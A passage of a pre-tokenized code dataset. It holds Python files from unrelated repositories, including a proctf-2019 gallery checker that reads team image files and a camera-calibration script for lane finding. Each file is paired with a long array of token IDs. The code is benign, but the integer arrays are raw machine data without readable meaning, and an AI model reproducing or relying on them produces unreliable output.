21234, 29918, 14394, 29918, 4841, 338, 6213, 29901, 13, 9651, 12020, 16510, 3950, 2392, 877, 9684, 5352, 29901, 13341, 29918, 14394, 29918, 4841, 1495, 13, 4706, 1583, 3032, 9294, 29918, 6979, 29918, 4905, 580, 13, 4706, 1583, 3032, 3084, 630, 353, 7700, 13, 13, 1678, 822, 903, 15480, 29898, 1311, 1125, 13, 4706, 565, 451, 1583, 3032, 3084, 630, 29901, 13, 9651, 363, 9649, 297, 1583, 29889, 311, 1397, 1078, 29901, 13, 18884, 565, 756, 5552, 29898, 2003, 29892, 525, 14394, 29918, 1017, 29872, 1495, 322, 320, 13, 462, 259, 9649, 29889, 14394, 29918, 1853, 2804, 3992, 19132, 1542, 29889, 4986, 29968, 1430, 29901, 13, 462, 1678, 12020, 16510, 3950, 2392, 877, 11730, 5993, 3233, 4608, 19427, 526, 525, 718, 13, 462, 462, 3986, 285, 29915, 23765, 29892, 541, 2355, 426, 2003, 29913, 1495, 13, 4706, 1583, 3032, 3084, 630, 353, 5852, 13, 13, 1678, 822, 903, 657, 29918, 12181, 29898, 1311, 29897, 1599, 12603, 552, 29961, 524, 29892, 938, 5387, 13, 4706, 8267, 353, 21069, 29896, 29892, 1583, 29889, 1742, 29918, 12343, 346, 29918, 6979, 29918, 2848, 29892, 29871, 29900, 29962, 13, 4706, 9649, 29901, 5169, 1535, 6268, 12877, 3950, 13, 4706, 363, 9649, 297, 1583, 29889, 311, 1397, 1078, 29901, 13, 9651, 8267, 29961, 29906, 29962, 4619, 9649, 29889, 12181, 14352, 29896, 29962, 13, 4706, 736, 18761, 29898, 12181, 29897, 13, 13, 1678, 732, 6799, 13, 1678, 732, 6774, 12652, 877, 29918, 311, 1397, 1078, 742, 24082, 29918, 11294, 29922, 8824, 29897, 13, 1678, 822, 16000, 1078, 29898, 1311, 29897, 1599, 11346, 397, 519, 19132, 12877, 3950, 29901, 13, 4706, 9995, 1576, 16000, 1078, 1304, 363, 8025, 322, 1602, 3689, 278, 16850, 504, 293, 5680, 29889, 13, 13, 4706, 9995, 13, 4706, 736, 18761, 29898, 1958, 29898, 2892, 285, 29901, 1583, 29889, 12847, 29961, 29888, 1402, 1583, 29889, 21234, 29918, 14394, 29918, 4841, 876, 13, 13, 1678, 822, 903, 12508, 29898, 1311, 29892, 1574, 29901, 5169, 1535, 6268, 29897, 1599, 5169, 1535, 2677, 29901, 13, 4706, 1583, 3032, 15480, 580, 13, 4706, 304, 29895, 29918, 1514, 353, 1583, 29889, 6979, 675, 29898, 1514, 467, 4801, 496, 580, 13, 4706, 274, 10351, 353, 18761, 29898, 1958, 29898, 2892, 9649, 29901, 9649, 29889, 12508, 29898, 1514, 511, 1583, 29889, 311, 1397, 1078, 876, 13, 4706, 736, 4103, 24784, 9544, 3825, 19132, 2677, 29898, 1311, 29889, 14394, 29918, 333, 29892, 274, 10351, 29892, 304, 29895, 29918, 1514, 29897, 13, 13, 1678, 822, 903, 13808, 29898, 1311, 29892, 3030, 29901, 4103, 24784, 9544, 3825, 19132, 2677, 29897, 1599, 323, 6073, 29901, 13, 4706, 1574, 29901, 25159, 1891, 6268, 353, 3030, 29889, 3225, 13, 4706, 564, 2288, 29901, 2391, 29961, 29911, 6073, 29962, 353, 5159, 13, 4706, 396, 21822, 1014, 16065, 3030, 29879, 13, 4706, 9649, 29901, 5169, 1535, 6268, 12877, 3950, 13, 4706, 12893, 29901, 5169, 1535, 2677, 13, 4706, 363, 9649, 29892, 12893, 297, 14319, 29898, 1311, 29889, 311, 1397, 1078, 29892, 3030, 29889, 4703, 29879, 1125, 13, 9651, 4765, 353, 9649, 29889, 13808, 29898, 13073, 29897, 13, 9651, 565, 17927, 29889, 275, 10861, 2831, 29898, 21027, 29889, 18525, 1125, 13, 18884, 17927, 29889, 8382, 29898, 29888, 29915, 7099, 6797, 8267, 21313, 2003, 29889, 14394, 29918, 333, 29913, 1125, 426, 4351, 29889, 12181, 29913, 1495, 13, 9651, 564, 2288, 29889, 4397, 29898, 4351, 29897, 13, 4706, 396, 679, 278, 10417, 639, 10541, 13, 4706, 281, 567, 29918, 29879, 1237, 353, 18761, 29898, 1958, 29898, 2892, 269, 29901, 1574, 29889, 1958, 29918, 1742, 29918, 12343, 778, 29898, 29879, 511, 1574, 29889, 2696, 7224, 876, 13, 4706, 260, 2435, 353, 1583, 29889, 1742, 29918, 12343, 346, 29918, 6979, 29918, 2848, 13, 4706, 396, 671, 2286, 3309, 18897, 13, 4706, 565, 260, 2435, 5277, 29871, 29900, 29901, 13, 9651, 260, 2435, 353, 4236, 29898, 14153, 29889, 3166, 29918, 1524, 519, 29898, 13, 18884, 9704, 29889, 3166, 29918, 1524, 519, 29898, 13, 462, 1678, 2910, 29898, 2892, 269, 29901, 2910, 29898, 2892, 260, 29901, 260, 29961, 29896, 1402, 269, 511, 281, 567, 29918, 29879, 1237, 13697, 13, 9651, 396, 4236, 1284, 267, 278, 10150, 2380, 29892, 577, 788, 29871, 29896, 363, 2159, 13, 9651, 260, 2435, 4619, 29871, 29896, 13, 9651, 396, 788, 1790, 313, 517, 367, 5225, 29897, 363, 278, 17140, 10541, 289, 2736, 653, 13, 9651, 260, 2435, 4619, 29871, 29896, 565, 1574, 29889, 9917, 653, 29918, 517, 12360, 1683, 29871, 29900, 13, 4706, 396, 1353, 310, 25260, 13, 4706, 302, 29918, 29879, 1237, 353, 7431, 29898, 29893, 567, 29918, 29879, 1237, 29897, 13, 4706, 396, 4682, 9927, 313, 4230, 9927, 29897, 13, 4706, 3964, 353, 2533, 29898, 1958, 29898, 2892, 921, 29901, 921, 29889, 2311, 6278, 29896, 511, 564, 2288, 876, 13, 4706, 396, 12489, 304, 19450, 13, 4706, 1766, 29878, 353, 1583, 29889, 7345, 305, 29918, 2917, 29889, 3298, 359, 3552, 29876, 29918, 29879, 1237, 29892, 260, 2435, 29892, 3964, 876, 13, 4706, 565, 17927, 29889, 275, 10861, 2831, 29898, 21027, 29889, 18525, 1125, 13, 9651, 17927, 29889, 8382, 29898, 29888, 29915, 29879, 1237, 29901, 426, 29876, 29918, 29879, 1237, 1118, 5993, 3309, 29901, 426, 29873, 2435, 1118, 3964, 29901, 426, 6229, 29913, 1495, 13, 4706, 2665, 29901, 323, 6073, 13, 4706, 3948, 29901, 323, 6073, 13, 4706, 281, 567, 29901, 12603, 552, 29961, 23215, 552, 29961, 29911, 6073, 29892, 2391, 29961, 524, 5262, 29962, 13, 4706, 1766, 2126, 353, 29871, 29900, 13, 4706, 396, 13649, 4682, 12047, 13, 4706, 363, 3948, 297, 564, 2288, 29901, 13, 9651, 301, 29876, 353, 3948, 29889, 2311, 6278, 29896, 29897, 13, 9651, 592, 861, 353, 1766, 2126, 718, 301, 29876, 13, 9651, 565, 17927, 29889, 275, 10861, 2831, 29898, 21027, 29889, 18525, 1125, 13, 18884, 17927, 29889, 8382, 29898, 29888, 29915, 14394, 3464, 29901, 15974, 3034, 2126, 6177, 29912, 1004, 861, 6525, 1495, 13, 9651, 396, 13649, 25260, 13, 9651, 363, 4832, 29892, 313, 18616, 29892, 281, 567, 29897, 297, 26985, 29898, 7554, 29898, 1514, 29889, 2696, 7224, 29892, 281, 567, 29918, 29879, 1237, 22164, 13, 18884, 565, 17927, 29889, 275, 10861, 2831, 29898, 21027, 29889, 18525, 1125, 13, 462, 1678, 17927, 29889, 8382, 29898, 29888, 29915, 18837, 292, 363, 426, 2749, 29889, 12181, 29913, 297, 525, 718, 13, 462, 462, 285, 29915, 19660, 28319, 1118, 29901, 29892, 29912, 3034, 2126, 6177, 29912, 1004, 861, 6525, 1495, 13, 18884, 396, 13649, 16850, 504, 293, 847, 1734, 8424, 18897, 13, 18884, 363, 260, 861, 29892, 19247, 861, 29879, 297, 281, 567, 29901, 13, 462, 1678, 396, 363, 1269, 1734, 8424, 10417, 29892, 3509, 278, 2752, 4682, 13, 462, 1678, 396, 4608, 304, 278, 3646, 29892, 27999, 7985, 292, 322, 10231, 13, 462, 1678, 396, 278, 2159, 310, 278, 1833, 3964, 29879, 291, 13, 462, 1678, 363, 281, 861, 297, 19247, 861, 29879, 29901, 13, 462, 4706, 565, 7700, 322, 17927, 29889, 275, 10861, 2831, 29898, 21027, 29889, 18525, 1125, 13, 462, 9651, 17927, 29889, 8382, 29898, 29888, 29915, 19660, 28319, 1118, 426, 29893, 861, 1118, 426, 3034, 2126, 6177, 29912, 1004, 861, 6525, 525, 718, 13, 462, 462, 308, 285, 29915, 29922, 15974, 28319, 1118, 426, 29873, 861, 6525, 1495, 13, 462, 4706, 1766, 29878, 29961, 28319, 29892, 281, 861, 29892, 1766, 2126, 29901, 1004, 861, 29962, 353, 3948, 29961, 28319, 29892, 260, 861, 29962, 13, 9651, 1766, 2126, 4619, 301, 29876, 13, 4706, 736, 1766, 29878, 13, 13, 13, 29992, 1272, 1990, 13, 1990, 4103, 24784, 29940, 290, 979, 19132, 12877, 3950, 29898, 13, 4706, 319, 26127, 403, 8566, 397, 519, 19132, 12877, 3950, 29892, 4103, 24784, 19132, 12877, 3950, 1125, 13, 1678, 9995, 4013, 10017, 1734, 8424, 313, 10339, 304, 18897, 29897, 11073, 29889, 29871, 910, 770, 3913, 263, 13, 1678, 584, 1990, 18078, 30022, 29920, 575, 3775, 29889, 311, 29872, 552, 2753, 29889, 8111, 675, 29889, 29940, 290, 979, 8566, 6797, 8566, 397, 519, 19132, 12877, 3950, 16159, 13, 1678, 304, 2910, 515, 1347, 11073, 304, 1009, 2245, 979, 1472, 1819, 29889, 29871, 910, 6511, 263, 13, 1678, 2323, 2777, 322, 6555, 1891, 4423, 988, 278, 3858, 10417, 5930, 297, 13, 1678, 1206, 916, 313, 5464, 29899, 9067, 261, 29897, 7117, 817, 304, 4608, 675, 11073, 29889, 13, 13, 1678, 9995, 13, 1678, 23050, 24290, 2725, 353, 525, 9067, 261, 19359, 3858, 261, 29915, 13, 1678, 383, 29923, 1299, 11499, 29918, 11116, 353, 3992, 19132, 1542, 29889, 4986, 29968, 1430, 13, 13, 1678, 13341, 29918, 14394, 29918, 333, 29901, 851, 353, 1746, 29898, 4381, 29922, 8516, 29897, 13, 1678, 9995, 1576, 4682, 3553, 363, 278, 20431, 19750, 519, 4682, 4608, 3950, 1213, 15945, 13, 13, 1678, 338, 29918, 1643, 261, 29901, 6120, 353, 1746, 29898, 4381, 29922, 5574, 29897, 13, 1678, 9995, 3644, 4954, 5574, 29952, 1673, 1207, 445, 263, 3858, 292, 2702, 4608, 3950, 29889, 29871, 13466, 29892, 3058, 13, 1678, 15359, 674, 671, 278, 1962, 310, 278, 4608, 3950, 408, 5680, 3265, 1135, 278, 13, 1678, 11073, 29889, 13, 13, 1678, 9995, 13, 13, 1678, 3858, 29918, 497, 29918, 517, 12360, 29901, 6120, 353, 1746, 29898, 4381, 29922, 8824, 29897, 13, 1678, 9995, 3644, 4954, 5574, 29952, 1673, 3858, 599, 1734, 8424, 18897, 411, 278, 6590, 21110, 4695, 13, 1678, 5993, 3858, 29889, 29871, 13466, 29892, 278, 2322, 282, 23959, 995, 338, 1304, 29892, 322, 4550, 29892, 13, 1678, 17262, 491, 278, 6410, 740, 746, 25202, 6410, 29889, 13, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2490, 29918, 2344, 12035, 1311, 1125, 13, 4706, 2428, 2141, 1649, 2490, 29918, 2344, 1649, 580, 13, 4706, 565, 1583, 29889, 21234, 29918, 14394, 29918, 333, 338, 6213, 29901, 13, 9651, 12020, 16510, 3950, 2392, 877, 9684, 5352, 29901, 13341, 29918, 14394, 29918, 333, 1495, 13, 4706, 1583, 3032, 9294, 29918, 6979, 29918, 4905, 580, 13, 13, 1678, 822, 903, 657, 29918, 12181, 29898, 1311, 29897, 1599, 12603, 552, 29961, 524, 29892, 938, 5387, 13, 4706, 8267, 353, 2428, 2141, 29918, 657, 29918, 12181, 580, 13, 4706, 736, 8521, 29896, 29892, 1583, 29889, 1742, 29918, 12343, 346, 29918, 6979, 29918, 2848, 29892, 8267, 14352, 29896, 2314, 13, 13, 1678, 822, 903, 12508, 29898, 1311, 29892, 1574, 29901, 5169, 1535, 6268, 29897, 1599, 5169, 1535, 2677, 29901, 13, 4706, 13341, 29901, 20583, 979, 8566, 6797, 8566, 397, 519, 19132, 12877, 3950, 353, 1583, 29889, 21234, 13, 4706, 260, 1514, 29901, 25159, 1891, 6268, 353, 1583, 29889, 6979, 675, 29898, 1514, 29897, 13, 4706, 491, 29918, 1643, 29901, 360, 919, 29961, 710, 29892, 938, 29962, 353, 13341, 29889, 1609, 29918, 1643, 13, 4706, 302, 29918, 29879, 1237, 353, 7431, 29898, 1514, 29897, 13, 4706, 565, 1583, 29889, 1742, 29918, 12343, 346, 29918, 6979, 29918, 2848, 1405, 29871, 29900, 29901, 13, 9651, 302, 29918, 517, 2039, 353, 1583, 29889, 1742, 29918, 12343, 346, 29918, 6979, 29918, 2848, 13, 4706, 1683, 29901, 13, 9651, 302, 29918, 517, 2039, 353, 7431, 29898, 29873, 1514, 29897, 13, 4706, 565, 17927, 29889, 275, 10861, 2831, 29898, 21027, 29889, 18525, 1125, 13, 9651, 17927, 29889, 8382, 877, 22331, 773, 426, 29876, 29918, 517, 2039, 29913, 18897, 411, 19247, 7431, 29901, 525, 718, 13, 462, 308, 285, 29915, 29912, 1311, 29889, 1742, 29918, 12343, 346, 29918, 6979, 29918, 2848, 29913, 1495, 13, 4706, 26688, 29901, 4842, 305, 29889, 29881, 1853, 353, 13341, 29889, 1272, 29918, 1853, 13, 4706, 3948, 353, 1583, 29889, 3258, 29918, 29886, 23959, 29918, 20158, 3552, 29876, 29918, 29879, 1237, 29892, 302, 29918, 517, 2039, 29892, 29871, 29896, 511, 26688, 29897, 13, 4706, 565, 17927, 29889, 275, 10861, 2831, 29898, 21027, 29889, 18525, 1125, 13, 9651, 17927, 29889, 8382, 29898, 29888, 29915, 4905, 8267, 29901, 426, 2749, 29889, 12181, 6822, 29912, 1311, 29889, 12181, 29913, 1495, 13, 4706, 2665, 29901, 25159, 2744, 1333, 630, 19132, 29903, 296, 663, 13, 4706, 363, 4832, 29892, 2665, 297, 26985, 29898, 1514, 1125, 13, 9651, 2665, 29918, 21134, 353, 2665, 29889, 6735, 800, 13, 9651, 1734, 29918, 4841, 353, 260, 1514, 29889, 2696, 7224, 29961, 28319, 29962, 13, 9651, 3517, 29918, 1742, 29918, 13140, 353, 6213, 13, 9651, 363, 260, 861, 29892, 1734, 29918, 13140, 297, 26985, 29898, 1742, 29918, 4841, 1125, 13, 18884, 396, 4266, 18897, 505, 263, 1734, 1178, 393, 338, 6213, 29889, 1334, 731, 278, 3858, 13, 18884, 396, 304, 448, 29896, 29900, 29900, 577, 896, 526, 6336, 17262, 297, 278, 6410, 13, 18884, 396, 740, 29889, 13, 18884, 565, 1734, 29918, 13140, 1275, 448, 29896, 29901, 13, 462, 1678, 1209, 13, 18884, 396, 591, 731, 278, 3858, 363, 278, 937, 5993, 310, 1269, 1734, 29889, 13, 18884, 25342, 1734, 29918, 13140, 2804, 3517, 29918, 1742, 29918, 13140, 29901, 13, 462, 1678, 3948, 29961, 28319, 3816, 29873, 861, 29962, 353, 491, 29918, 1643, 29961, 18616, 29918, 21134, 29961, 1742, 29918, 13140, 5262, 13, 18884, 396, 363, 278, 916, 18897, 297, 263, 1734, 29892, 591, 731, 278, 3858, 304, 2845, 13, 18884, 396, 278, 1857, 3858, 470, 448, 29896, 29900, 29900, 29892, 8679, 373, 278, 3858, 29918, 497, 29918, 517, 12360, 13, 18884, 396, 7353, 13, 18884, 25342, 1583, 29889, 1643, 29918, 497, 29918, 517, 12360, 29901, 13, 462, 1678, 3948, 29961, 28319, 3816, 29873, 861, 29962, 353, 491, 29918, 1643, 29961, 18616, 29918, 21134, 29961, 1742, 29918, 13140, 5262, 13, 18884, 3517, 29918, 1742, 29918, 13140, 353, 1734, 29918, 13140, 13, 4706, 736, 323, 6073, 19132, 2677, 29898, 1311, 29889, 14394, 29918, 333, 29892, 3948, 29897, 13, 13, 1678, 822, 903, 13808, 29898, 1311, 29892, 3030, 29901, 4103, 24784, 19132, 2677, 29897, 1599, 323, 6073, 29901, 13, 4706, 736, 4103, 24784, 19132, 12877, 3950, 3032, 13808, 29898, 1311, 29892, 3030, 29897, 13, 2 ]
checkers/gallery/paintings.py
vient/proctf-2019
2
88317
import os import pathlib import random TEAMS_COUNT = 30 PAINTINGS_DIR = pathlib.Path("paintings") def next_painting(team_num): files = [] team_dir = PAINTINGS_DIR / team_num for x in team_dir.iterdir(): if x.suffix == ".jpg" and not x.stem.endswith("_replica") and not x.stem.endswith("_copy"): files.append(x) random_file = random.choice(files) new_name = random_file.stem + ".bak" random_file.rename(team_dir / new_name) with open(team_dir / new_name, "rb") as file: return (new_name, file.read()) def get_replica(team_num, file_name): team_dir = PAINTINGS_DIR / team_num replica_name = pathlib.Path((team_dir / file_name).stem + "_replica.jpg") with open(team_dir / replica_name, "rb") as file: return (replica_name, file.read()) def get_copy(team_num, file_name): team_dir = PAINTINGS_DIR / team_num replica_name = pathlib.Path((team_dir / file_name).stem + "_copy.jpg") with open(team_dir / replica_name, "rb") as file: return (replica_name, file.read()) def get_random_painting(team_num, file_name): files = [] team_dir = PAINTINGS_DIR / team_num for x in team_dir.iterdir(): if x.name != file_name and ((x.suffix == ".jpg" and not x.stem.endswith("_replica") and not x.stem.endswith("_copy")) or (x.suffix == ".bak")): files.append(x) random_file = random.choice(files) with open(team_dir / random_file.name, "rb") as file: return (random_file.name, file.read())
[ 1, 1053, 2897, 13, 5215, 2224, 1982, 13, 5215, 4036, 13, 13, 4330, 29909, 4345, 29918, 18736, 353, 29871, 29941, 29900, 13, 13, 7228, 10192, 4214, 29903, 29918, 9464, 353, 2224, 1982, 29889, 2605, 703, 29886, 2365, 886, 1159, 13, 13, 1753, 2446, 29918, 29886, 475, 1259, 29898, 14318, 29918, 1949, 1125, 13, 1678, 2066, 353, 5159, 13, 1678, 3815, 29918, 3972, 353, 17687, 10192, 4214, 29903, 29918, 9464, 847, 3815, 29918, 1949, 13, 1678, 363, 921, 297, 3815, 29918, 3972, 29889, 1524, 3972, 7295, 308, 13, 4706, 565, 921, 29889, 2146, 600, 861, 1275, 11393, 6173, 29908, 322, 451, 921, 29889, 303, 331, 29889, 1975, 2541, 703, 29918, 3445, 10123, 1159, 322, 451, 921, 29889, 303, 331, 29889, 1975, 2541, 703, 29918, 8552, 29908, 1125, 13, 9651, 2066, 29889, 4397, 29898, 29916, 29897, 13, 1678, 4036, 29918, 1445, 353, 4036, 29889, 16957, 29898, 5325, 29897, 13, 1678, 716, 29918, 978, 353, 4036, 29918, 1445, 29889, 303, 331, 718, 11393, 29890, 557, 29908, 268, 13, 1678, 4036, 29918, 1445, 29889, 1267, 420, 29898, 14318, 29918, 3972, 847, 716, 29918, 978, 29897, 13, 13, 1678, 411, 1722, 29898, 14318, 29918, 3972, 847, 716, 29918, 978, 29892, 376, 6050, 1159, 408, 934, 29901, 13, 4706, 736, 313, 1482, 29918, 978, 29892, 934, 29889, 949, 3101, 13, 13, 1753, 679, 29918, 3445, 10123, 29898, 14318, 29918, 1949, 29892, 934, 29918, 978, 1125, 13, 1678, 3815, 29918, 3972, 353, 17687, 10192, 4214, 29903, 29918, 9464, 847, 3815, 29918, 1949, 13, 1678, 1634, 10123, 29918, 978, 353, 2224, 1982, 29889, 2605, 3552, 14318, 29918, 3972, 847, 934, 29918, 978, 467, 303, 331, 718, 11119, 3445, 10123, 29889, 6173, 1159, 13, 13, 1678, 411, 1722, 29898, 14318, 29918, 3972, 847, 1634, 10123, 29918, 978, 29892, 376, 6050, 1159, 408, 934, 29901, 13, 4706, 736, 313, 3445, 10123, 29918, 978, 29892, 934, 29889, 949, 3101, 13, 13, 1753, 679, 29918, 8552, 29898, 14318, 29918, 1949, 29892, 934, 29918, 978, 1125, 13, 1678, 3815, 29918, 3972, 353, 17687, 10192, 4214, 29903, 29918, 9464, 847, 3815, 29918, 1949, 13, 1678, 1634, 10123, 29918, 978, 353, 2224, 1982, 29889, 2605, 3552, 14318, 29918, 3972, 847, 934, 29918, 978, 467, 303, 331, 718, 11119, 8552, 29889, 6173, 1159, 13, 13, 1678, 411, 1722, 29898, 14318, 29918, 3972, 847, 1634, 10123, 29918, 978, 29892, 376, 6050, 1159, 408, 934, 29901, 13, 4706, 736, 313, 3445, 10123, 29918, 978, 29892, 934, 29889, 949, 3101, 13, 13, 1753, 679, 29918, 8172, 29918, 29886, 475, 1259, 29898, 14318, 29918, 1949, 29892, 934, 29918, 978, 1125, 268, 13, 1678, 2066, 353, 5159, 13, 1678, 3815, 29918, 3972, 353, 17687, 10192, 4214, 29903, 29918, 9464, 847, 3815, 29918, 1949, 13, 1678, 363, 921, 297, 3815, 29918, 3972, 29889, 1524, 3972, 7295, 13, 4706, 565, 921, 29889, 978, 2804, 934, 29918, 978, 322, 5135, 29916, 29889, 2146, 600, 861, 1275, 11393, 6173, 29908, 322, 451, 921, 29889, 303, 331, 29889, 1975, 2541, 703, 29918, 3445, 10123, 1159, 322, 451, 921, 29889, 303, 331, 29889, 1975, 2541, 703, 29918, 8552, 5783, 470, 313, 29916, 29889, 2146, 600, 861, 1275, 11393, 29890, 557, 5783, 29901, 13, 9651, 2066, 29889, 4397, 29898, 29916, 29897, 13, 1678, 4036, 29918, 1445, 353, 4036, 29889, 16957, 29898, 5325, 29897, 13, 1678, 411, 1722, 29898, 14318, 29918, 3972, 847, 4036, 29918, 1445, 29889, 978, 29892, 376, 6050, 1159, 408, 934, 29901, 13, 4706, 736, 313, 8172, 29918, 1445, 29889, 978, 29892, 934, 29889, 949, 3101, 29871, 13, 2 ]
libs/camera_cal.py
kavach-feature/Advanced_lane_finding
0
86691
<reponame>kavach-feature/Advanced_lane_finding import numpy as np import cv2 import matplotlib.pyplot as plt import matplotlib.image as mpimg import glob #%matplotlib inline images= glob.glob('./camera_cal/calibration*.jpg') def cal_undistort(img, objpoints, imgpoints): gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1], None,None) undist = cv2.undistort(img, mtx, dist, None, mtx) return undist, mtx, dist def compute_calibration_points(): objpoints=[] imgpoints=[] objp=np.zeros((6*9,3), np.float32) objp[:,:2]= np.mgrid[0:9,0:6].T.reshape(-1,2) for fname in images: img = mpimg.imread(fname) gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) ret, corners = cv2.findChessboardCorners(gray, (9, 6), None) if ret == True: imgpoints.append(corners) objpoints.append(objp) return imgpoints, objpoints def render_original_undistorted_image(image1, image2): f, (ax1, ax2) = plt.subplots(1, 2, figsize=(24, 9)) f.tight_layout() ax1.imshow(image1) ax1.set_title("Original Image", fontsize=50) ax2.imshow(image2) ax2.set_title("Distortion Corrected image", fontsize=50) plt.subplots_adjust(left=0., right=1, top=0.9, bottom=0.) plt.show() def get_undistorted_image(orig_image): imgpoints, objpoints = compute_calibration_points() undist_road_image, mtx, dist_coefficients = cal_undistort(orig_image, objpoints, imgpoints) return undist_road_image """ imgpoints, objpoints = compute_calibration_points() img = mpimg.imread('./camera_cal/calibration4.jpg') undist, mtx, dist_coefficients = cal_undistort(img, objpoints, imgpoints) #render_original_undistorted_image(img, undist) image_path = './test_images/test5.jpg' image = mpimg.imread(image_path) undist_road_image, mtx, dist_coefficients = cal_undistort(image, objpoints, imgpoints) render_original_undistorted_image(image,undist_road_image)"""
[ 1, 529, 276, 1112, 420, 29958, 29895, 485, 496, 29899, 14394, 29914, 3253, 16858, 29918, 25821, 29918, 2886, 292, 13, 5215, 12655, 408, 7442, 30004, 13, 5215, 13850, 29906, 30004, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 30004, 13, 5215, 22889, 29889, 3027, 408, 22326, 2492, 30004, 13, 5215, 13149, 30004, 13, 29937, 29995, 2922, 17357, 10583, 30004, 13, 30004, 13, 30004, 13, 30004, 13, 8346, 29922, 13149, 29889, 23705, 877, 6904, 26065, 29918, 1052, 29914, 1052, 26218, 10521, 6173, 1495, 30004, 13, 30004, 13, 1753, 1208, 29918, 870, 391, 441, 29898, 2492, 29892, 5446, 9748, 29892, 10153, 9748, 1125, 30004, 13, 1678, 16749, 353, 13850, 29906, 29889, 11023, 29873, 3306, 29898, 2492, 29892, 13850, 29906, 29889, 15032, 1955, 29918, 29933, 14345, 29906, 29954, 22800, 8443, 13, 1678, 3240, 29892, 286, 7508, 29892, 1320, 29892, 364, 2003, 29879, 29892, 260, 2003, 29879, 353, 13850, 29906, 29889, 1052, 4626, 403, 20717, 29898, 5415, 9748, 29892, 10153, 9748, 29892, 16749, 29889, 12181, 29961, 1057, 29899, 29896, 1402, 6213, 29892, 8516, 8443, 13, 1678, 563, 391, 353, 13850, 29906, 29889, 870, 391, 441, 29898, 2492, 29892, 286, 7508, 29892, 1320, 29892, 6213, 29892, 286, 7508, 8443, 13, 1678, 736, 563, 391, 29892, 286, 7508, 29892, 1320, 30004, 13, 30004, 13, 1753, 10272, 29918, 1052, 26218, 29918, 9748, 7295, 30004, 13, 30004, 13, 1678, 5446, 9748, 29922, 2636, 30004, 13, 1678, 10153, 9748, 29922, 2636, 30004, 13, 1678, 5446, 29886, 29922, 9302, 29889, 3298, 359, 3552, 29953, 29930, 29929, 29892, 29941, 511, 7442, 29889, 7411, 29941, 29906, 8443, 13, 1678, 5446, 29886, 7503, 29892, 29901, 29906, 13192, 7442, 29889, 29885, 7720, 29961, 29900, 29901, 29929, 29892, 29900, 29901, 29953, 1822, 29911, 29889, 690, 14443, 6278, 29896, 29892, 29906, 8443, 13, 12, 30004, 13, 1678, 363, 285, 978, 297, 4558, 29901, 30004, 13, 4706, 10153, 353, 22326, 2492, 29889, 326, 949, 29898, 29888, 978, 8443, 13, 4706, 16749, 353, 13850, 29906, 29889, 11023, 29873, 3306, 29898, 2492, 29892, 13850, 29906, 29889, 15032, 1955, 29918, 29933, 14345, 29906, 29954, 22800, 8443, 13, 4706, 3240, 29892, 26995, 353, 13850, 29906, 29889, 2886, 1451, 404, 3377, 29907, 1398, 414, 29898, 21012, 29892, 313, 29929, 29892, 29871, 29953, 511, 6213, 29897, 12, 30004, 13, 4706, 565, 3240, 1275, 5852, 29901, 30004, 13, 9651, 10153, 9748, 29889, 4397, 29898, 29883, 1398, 414, 8443, 13, 9651, 5446, 9748, 29889, 4397, 29898, 5415, 29886, 29897, 4706, 6756, 13, 1678, 736, 10153, 9748, 29892, 5446, 9748, 30004, 13, 30004, 13, 1753, 4050, 29918, 13492, 29918, 870, 391, 18054, 29918, 3027, 29898, 3027, 29896, 29892, 1967, 29906, 1125, 30004, 13, 1678, 285, 29892, 313, 1165, 29896, 29892, 4853, 29906, 29897, 353, 14770, 29889, 1491, 26762, 29898, 29896, 29892, 29871, 29906, 29892, 2537, 2311, 7607, 29906, 29946, 29892, 29871, 29929, 876, 30004, 13, 1678, 285, 29889, 29873, 523, 29918, 2680, 26471, 13, 1678, 4853, 29896, 29889, 326, 4294, 29898, 3027, 29896, 8443, 13, 1678, 4853, 29896, 29889, 842, 29918, 3257, 703, 26036, 7084, 613, 4079, 2311, 29922, 29945, 29900, 8443, 13, 1678, 4853, 29906, 29889, 326, 4294, 29898, 3027, 29906, 8443, 13, 1678, 4853, 29906, 29889, 842, 29918, 3257, 703, 13398, 441, 291, 28518, 287, 1967, 613, 4079, 2311, 29922, 29945, 29900, 8443, 13, 1678, 14770, 29889, 1491, 26762, 29918, 328, 5143, 29898, 1563, 29922, 29900, 1696, 1492, 29922, 29896, 29892, 2246, 29922, 29900, 29889, 29929, 29892, 5970, 29922, 29900, 1846, 30004, 13, 1678, 14770, 29889, 4294, 26471, 13, 30004, 13, 30004, 13, 30004, 13, 1753, 679, 29918, 870, 391, 18054, 29918, 3027, 29898, 12683, 29918, 3027, 1125, 30004, 13, 1678, 10153, 9748, 29892, 5446, 9748, 353, 10272, 29918, 1052, 26218, 29918, 9748, 26471, 13, 1678, 563, 391, 29918, 9972, 29918, 3027, 29892, 286, 7508, 29892, 1320, 29918, 1111, 8462, 29879, 353, 1208, 29918, 870, 391, 441, 29898, 12683, 29918, 3027, 29892, 5446, 9748, 29892, 10153, 9748, 8443, 13, 1678, 736, 563, 391, 29918, 9972, 29918, 3027, 30004, 13, 30004, 13, 30004, 13, 15945, 29908, 259, 6756, 13, 2492, 9748, 29892, 5446, 9748, 353, 10272, 29918, 1052, 26218, 29918, 9748, 26471, 13, 2492, 353, 22326, 2492, 29889, 326, 949, 877, 6904, 26065, 29918, 1052, 29914, 1052, 26218, 29946, 29889, 6173, 1495, 30004, 13, 870, 391, 29892, 286, 7508, 29892, 1320, 29918, 1111, 8462, 29879, 353, 1208, 29918, 870, 391, 441, 29898, 2492, 29892, 5446, 9748, 29892, 10153, 9748, 8443, 13, 29937, 9482, 29918, 13492, 29918, 870, 391, 18054, 29918, 3027, 29898, 2492, 29892, 563, 391, 8443, 13, 30004, 13, 3027, 29918, 2084, 353, 19283, 1688, 29918, 8346, 29914, 1688, 29945, 29889, 6173, 29915, 30004, 13, 3027, 353, 22326, 2492, 29889, 326, 949, 29898, 3027, 29918, 2084, 8443, 13, 870, 391, 29918, 9972, 29918, 3027, 29892, 286, 7508, 29892, 1320, 29918, 1111, 8462, 29879, 353, 1208, 29918, 870, 391, 441, 29898, 3027, 29892, 5446, 9748, 29892, 10153, 9748, 8443, 13, 9482, 29918, 13492, 29918, 870, 391, 18054, 29918, 3027, 29898, 3027, 29892, 870, 391, 29918, 9972, 29918, 3027, 5513, 15945, 2 ]
handlers/order_request/operation_type.py
itcosplay/cryptobot
0
81642
